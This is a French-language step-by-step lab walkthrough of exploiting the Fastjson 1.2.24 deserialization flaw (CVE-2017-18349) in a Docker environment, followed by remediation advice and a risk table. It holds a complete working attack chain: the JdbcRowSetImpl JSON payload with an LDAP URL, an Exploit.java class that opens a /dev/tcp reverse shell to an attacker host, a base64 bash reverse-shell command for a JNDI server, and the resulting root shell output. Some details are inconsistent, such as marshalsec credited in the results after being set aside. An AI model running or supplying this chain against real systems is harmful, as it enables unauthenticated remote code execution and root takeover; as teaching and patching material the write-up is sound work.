
Guide pas à pas de l'exploitation RCE par désérialisation Fastjson CVE-2017-18349, couvrant l'identification de la surface d'attaque, la prise d'empreintes, l'injection JNDI et l'acquisition d'un shell inverse dans un environnement de laboratoire Docker.
Commençons par voir ce qui s'exécute dans l'environnement. Je liste tous les conteneurs actifs :
docker ps

La victime n'expose qu'un seul port : 8090
Actuellement, je n'ai pas encore une vision complète de la cible. D'après les résultats de docker ps, le système ne publie qu'un seul service notable en externe sur le port 8090, qui est mappé au service interne du conteneur. C'est la principale surface d'attaque à analyser.
⇒ Je l'interroge directement avec Curl pour en savoir plus
curl -i 192.168.3.137:8090/

Analyse de la réponse :
Content-Type: application/json;charset=UTF-8.{"age": 25, "name": "Bob"}.⇒ Réflexion : Lors de l'accès au port 8090, le serveur renvoie des données JSON. Cela indique que le point d'accès ne sert pas simplement une page web statique, mais possède un backend qui traite les requêtes et sérialise les données en JSON pour les renvoyer au client. D'après les résultats de docker ps, la commande exécutée dans le conteneur montre des signes d'une application Java. La prochaine direction d'inspection est donc d'identifier les analyseurs JSON courants en Java.
En Java, les bibliothèques JSON populaires comme Jackson, Gson et Fastjson se comportent différemment face à des entrées inhabituelles. On peut donc utiliser la technique d'identification par erreur (Error-based Fingerprinting). L'erreur renvoyée révèle parfois directement la bibliothèque ou le mécanisme de traitement interne. Parmi elles, Fastjson est une cible à vérifier tôt car les anciennes versions présentaient plusieurs vulnérabilités critiques liées à la désérialisation AutoType.
Ici, je n'affirme pas immédiatement que le backend utilise Fastjson. Je choisis seulement Fastjson comme première direction de vérification car il possède une empreinte claire via la clé @type, et s'il s'agit bien d'une ancienne version de Fastjson, la capacité d'exploitation peut aller bien au-delà d'une simple erreur d'analyse, pouvant potentiellement mener à une exécution de code à distance (RCE).
Fastjson possède une caractéristique très utile pour l'identification : il reconnaît la clé spéciale @type. Si le backend utilise Fastjson et que le corps de la requête envoyé dans le flux de désérialisation prend en charge AutoType, l'analyseur peut tenter d'interpréter la valeur de @type comme un nom de classe Java.
Par conséquent, j'envoie une charge utile contenant @type pointant vers une classe inexistante. L'objectif de cette étape n'est pas d'exploiter immédiatement, mais d'observer si le backend réagit à @type.
curl -i -X POST -H "Content-Type: application/json" \
-d '{"@type":"com.non.existent.Class"}' \
http://192.168.3.137:8090/

Si le backend utilisait un analyseur JSON standard et ne se souciait pas de @type, ce champ pourrait simplement être ignoré ou traité comme une clé normale du JSON. Cependant, ici le backend réagit avec un comportement lié au type (type not match), ce qui signifie que la requête est entrée dans le flux de traitement de correspondance classe/type.
Le message « type not match » est une signature caractéristique souvent rencontrée lorsque Fastjson traite @type mais que la classe spécifiée ne correspond pas au type de données attendu par le point d'accès, ou que la classe n'existe pas / n'est pas autorisée à être désérialisée.
⇒ Réflexion : Le backend analyse bien le corps JSON de la requête POST, le champ @type n'est pas ignoré, l'analyseur possède un mécanisme de traitement des métadonnées de type, et l'erreur renvoyée correspond au comportement d'Alibaba Fastjson. On peut donc conclure avec une forte confiance que le backend utilise Alibaba Fastjson.**
Après l'étape d'identification, je ne peux pas immédiatement conclure que le système est exploitable. Le fait que le backend utilise Fastjson prouve seulement que la requête JSON entre dans le flux de traitement de @type.
Pour exécuter une exploitation RCE, les éléments suivants doivent être vérifiés :
⇒ Réflexion : L'erreur « type not match » montre que le backend réagit à @type, mais la charge utile actuelle utilise seulement une fausse classe pour déclencher une erreur. Pour une exploitation réelle, nous devons remplacer cette fausse classe par une classe réelle présente dans Java / JDK capable de créer des comportements sortants comme une recherche JNDI.
Pour déterminer la version, je vérifie directement à l'intérieur du conteneur / de l'application.

Après avoir identifié que l'application est empaquetée sous la forme du fichier /usr/src/fastjsondemo.jar, je procède à une analyse approfondie de cette structure de package pour rechercher la bibliothèque de traitement JSON. La vérification de la structure du répertoire BOOT-INF/lib/ révèle le fichier fastjson-1.2.24.jar (Figure X).
L'utilisation exactement de la version 1.2.24 – la première et la plus célèbre version affectée par la vulnérabilité de désérialisation sans aucun mécanisme de défense AutoType – nous permet de confirmer que le système est vulnérable à CVE-2017-18349.
La découverte de fastjson-1.2.24.jar confirme que l'application utilise une version très ancienne de Fastjson, appartenant au groupe affecté par la faille de désérialisation AutoType. Dans cette version, le mécanisme de contrôle sur AutoType n'était pas aussi renforcé que dans les versions ultérieures, donc en ce qui concerne les conditions de la bibliothèque, le système est sensible à l'exploitation via des classes gadgets telles que JdbcRowSetImpl.
Cependant, l'exploitabilité réelle dépend encore de la manière dont le point d'accès invoque Fastjson. Si l'application analyse le JSON dans une classe fixe, placer la charge utile @type à l'objet racine pourrait conduire à l'erreur « type not match ». Par conséquent, après avoir identifié la version, nous devons continuer à analyser la JVM, la classe gadget et le comportement de rappel LDAP pour confirmer si la chaîne d'exploitation atteint effectivement la recherche JNDI.
1. Analyse des barrières de la JVM
Outre la version de Fastjson, la version de Java est également un facteur déterminant. Je vérifie la JVM à l'intérieur du conteneur :
java -version

Il s'agit d'une information critique car les chaînes d'exploitation de Fastjson reposent généralement sur l'injection JNDI. Les versions plus récentes de Java bloquent par défaut le chargement de classes depuis des codebases externes via LDAP / RMI. Cependant, Java 8u102 est une ancienne version qui ne possède pas encore ces mécanismes de blocage.
Par conséquent, si l'attaquant peut déclencher une recherche JNDI, la JVM de la victime a la capacité de télécharger la classe depuis un serveur HTTP externe et de la charger dans l'environnement d'exécution.
Après avoir identifié l'ancienne version de Fastjson et de la JVM, l'étape suivante consiste à trouver une classe présente dans le JDK qui peut produire un comportement dangereux lors de la désérialisation.
com.sun.rowset.JdbcRowSetImpl est un gadget approprié car cette classe existe dans le JDK et possède une propriété dataSourceName. Lorsque dataSourceName reçoit une valeur au format d'URL LDAP, l'objet peut être exploité pour déclencher une recherche JNDI sortante.
⇒ Réflexion : Je n'ai pas besoin de télécharger du code directement sur le serveur. Au lieu de cela, j'exploite une classe existante dans la JVM pour forcer la victime à se connecter à un serveur LDAP contrôlé par l'attaquant.
Après avoir établi les conditions nécessaires concernant la bibliothèque et la JVM, je dois vérifier si la charge utile force effectivement la victime à se connecter vers l'extérieur. C'est une étape critique pour distinguer entre :
Si le serveur LDAP ou l'écouteur reçoit une connexion de la victime, cela prouve que la charge utile a atteint avec succès l'étape de la recherche JNDI. S'il n'y a pas de rappel et que le serveur renvoie « type not match », cela indique que la charge utile actuelle ne correspond pas au flux de désérialisation du point d'accès. Dans ce cas, la charge utile doit être adaptée à la structure exacte de l'objet analysé par le point d'accès, ou des contournements / gadgets alternatifs doivent être utilisés.
À partir des étapes ci-dessus, la chaîne de conditions du système peut être résumée comme suit :
@type indique que le backend traite le mécanisme de métadonnées de type, ce qui correspond au comportement de Fastjson.fastjson-1.2.24.jar.com.sun.rowset.JdbcRowSetImpl existe dans le JDK et peut être exploité pour déclencher une recherche JNDI via la propriété dataSourceName.⇒ Réflexion sur l'exploitation :
Je n'ai pas besoin de trouver des fonctions de téléchargement de fichiers ni d'écrire des fichiers directement sur le serveur. Au lieu de cela, j'exploite le flux de désérialisation de Fastjson pour forcer la JVM à instancier un objet JdbcRowSetImpl. Lorsque cet objet reçoit un dataSourceName sous la forme d'une URL LDAP, la victime effectuera une recherche JNDI vers le serveur contrôlé par l'attaquant. De là, l'attaquant peut rediriger la JVM pour télécharger la classe malveillante depuis un serveur HTTP externe et exécuter le code contenu dans cette classe.
Par conséquent, le chemin d'exploitation choisi est :
Fastjson AutoType
→ Gadget JdbcRowSetImpl
→ Recherche JNDI LDAP
→ Codebase HTTP contenant Exploit.class
→ Reverse shell vers l'attaquant
texte
Connexion reçue sur 192.168.3.137 43928
whoami
root
Dans Fastjson 1.2.24, la classe com.sun.rowset.JdbcRowSetImpl est une classe gadget présente dans le classpath de la JVM (appartenant à la bibliothèque standard rt.jar). Lorsque Fastjson désérialise une chaîne JSON contenant @type pointant vers cette classe :
JdbcRowSetImpl.setDataSourceName() est appelé → définit l'adresse JNDI.setDataSourceName() déclenche l'appel interne InitialContext.lookup(dataSourceName) → l'injection JNDI complète se produit ici, avant que setAutoCommit() ait la possibilité de s'exécuter.Exploit.class depuis le serveur HTTP Codebase, le charge en mémoire → exécute le bloc static {}.Exploit.java)import java.io.IOException;
public class Exploit {
static {
try {
String[] cmd = {
"/bin/bash",
"-c",
"exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
};
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
Étant donné que la JVM de la victime exécute Java 8u102, nous devons spécifier la cible Java 8 lors de la compilation. Sinon, la victime lèvera une UnsupportedClassVersionError et la chaîne d'attaque échouera silencieusement. Ensuite, mettez en place le serveur HTTP Codebase :
javac -source 1.8 -target 1.8 Exploit.java
python3 -m http.server 8000
JNDI-Injection-ExploitÉtant donné que l'environnement Kali exécute Java 25 — trop récent pour compiler marshalsec — nous utilisons l'outil alternatif JNDI-Injection-Exploit. Commencez par créer la charge utile du reverse shell au format base64 :
echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64
Démarrez le serveur JNDI avec la charge utile ci-dessus :
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
-A 192.168.3.114

L'outil génère automatiquement le point d'accès LDAP :
ldap://192.168.3.114:1389/6bzjwg
Ouvrez le port d'écoute du reverse :
nc -lvnp 4444
Nous constatons que placer la charge utile @type à l'objet racine renvoie une erreur « type not match » — car le contrôleur Spring Boot mappe le JSON vers un type fixe, qui ne correspond pas à JdbcRowSetImpl au niveau racine.
Ajustement de la charge utile : Encapsulez la classe gadget dans un champ imbriqué ("data":{...}) afin que Fastjson traite l'objet imbriqué indépendamment de la contrainte de type du contrôleur :
curl -i -X POST -H "Content-Type: application/json" \
-d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
http://192.168.3.137:8090/

Au niveau du serveur LDAP (marshalsec) : a enregistré une requête de recherche JNDI réussie depuis l'IP de la victime et redirigé vers le codebase HTTP.
Au niveau du serveur HTTP (Python) : a enregistré la requête de téléchargement du fichier Exploit.class avec le code d'état 200 OK depuis l'IP de la victime, prouvant que la JVM a chargé le bytecode avec succès.
Au niveau de l'écouteur Netcat : a établi avec succès la session interactive (reverse shell) :
listening on [any] 4444 ...
connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
root@7308074af0ab:/# whoami
root
La chaîne d'exploitation complète a été vérifiée avec succès : de l'envoi de la charge utile JSON → recherche JNDI → renvoi LDAP → chargement de la classe distante → exécution du code dans le bloc static {} → établissement d'un reverse shell avec les privilèges root.
La vulnérabilité de désérialisation RCE de Fastjson (CVE-2017-18349) sur ce système est évaluée au niveau de gravité le plus élevé :
Pour résoudre complètement cette vulnérabilité, les actions doivent être mises en œuvre dans l'ordre de priorité suivant :
1.2.83). À partir de la version 1.2.25, la fonctionnalité autoType est désactivée par défaut et un mécanisme de liste noire stricte a été ajouté — supprimant directement le vecteur d'attaque de CVE-2017-18349. Ou envisagez de migrer vers une bibliothèque alternative mieux maintenue comme Jackson ou Gson.com.sun.jndi.ldap.object.trustURLCodebase est définie sur false par défaut — bloquant complètement la capacité de la JVM à charger automatiquement des classes à distance via LDAP/RMI, ce qui brise la chaîne d'injection JNDI même si Fastjson contient toujours la vulnérabilité.root. Créez un utilisateur dédié (par exemple, app_user) avec des privilèges minimums — même si l'attaquant parvient à exécuter du code à distance, les dégâts seront limités au périmètre des privilèges de cet utilisateur.SafeMode dans le code source pour désactiver complètement autoType :ParserConfig.getGlobalInstance().setSafeMode(true);
Ou établissez une liste blanche stricte n'autorisant que les classes approuvées à être désérialisées.
@type, JdbcRowSetImpl, dataSourceName, ldap://, rmi://.-network et iptables appropriées.| Critère | Évaluation | Détails |
|---|
| Score CVSS | 9.8 (Critique) | Niveau de risque extrêmement élevé — inférieur seulement au 10.0 absolu car il ne nécessite pas d'accès réseau spécial. |
| Authentification | Non requise | L'attaquant n'a besoin d'aucun compte ou identifiant pour l'exploiter. Toute personne capable d'envoyer une requête HTTP peut attaquer. |
| Complexité | Très faible | Nécessite seulement l'envoi d'une seule requête HTTP POST contenant une charge utile JSON valide — aucun outil complexe ni condition spéciale requis. |
| Protection JVM | Aucune | Java 8u102 ne dispose pas de mécanisme pour bloquer le chargement de classes distantes (trustURLCodebase par défaut à true), permettant à toute la chaîne d'injection JNDI → chargement de classe à distance de fonctionner sans entrave. |
| Privilèges obtenus | root | Contrôle total du conteneur d'application au niveau de privilège le plus élevé — lecture/écriture/suppression de n'importe quel fichier, y compris /etc/shadow. |
| Mouvement latéral | Élevé | Depuis le conteneur compromis, l'attaquant peut scanner le réseau interne (172.19.0.0/16) et attaquer d'autres conteneurs du même réseau Docker project1_default. |